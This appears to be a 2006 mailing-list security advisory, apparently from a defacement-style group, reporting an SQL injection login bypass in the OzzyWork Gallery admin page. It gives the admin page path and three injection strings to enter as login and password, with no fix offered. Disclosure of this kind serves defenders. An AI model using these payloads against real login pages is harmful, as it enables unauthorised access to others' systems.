Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

plaNetStat Admin ByPass

[SA20006] EPublisherPro "title" Cross-Site Scripting Vulnerability

[SA20043] EImagePro SQL Injection Vulnerabilities

[SA20017] EDirectoryPro "keyword" Parameter SQL Injection

From:	Dj_ReMix_20_(at)_hotmail.com <Dj_ReMix_20_(at)_hotmail.com>
Date:	09.05.2006
Subject:	# MHG Security Team --- OzzyWork Gallery SQL Injection

# Milli-Harekat Advisory ( www.milli-harekat.org )

# OzzyWork Galeri Admin SQL Injection

# Risk : High

# Script : OzzyWork Gallery All Version

# Credits : Dj ReMix

# Thanks : ßy Korsan , ESKOBAR , Poizonb0x , TR_IP


OzzyWork Gallery Admin Page's www.victim.com/[Ozzywork Path ]/admin_default.asp

Login and password :

'or'
'or"1=1'
'or"='